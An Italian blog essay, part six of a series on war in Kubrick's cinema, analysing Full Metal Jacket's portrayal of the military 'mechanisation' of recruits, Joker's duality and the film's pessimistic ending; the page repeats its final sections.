Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
[Se l’articolo ti è piaciuto, offrimi un caffè o magari una colazione,
una piccola mancia per aiutarmi a sostenere il sito!]#analisi #approfondimento #cinema #film #fullMetalJacket #kubrick #libro #storia #tesi
-
La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
[Se l’articolo ti è piaciuto, offrimi un caffè o magari una colazione,
una piccola mancia per aiutarmi a sostenere il sito!]#analisi #approfondimento #cinema #film #fullMetalJacket #kubrick #libro #storia #tesi
-
La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
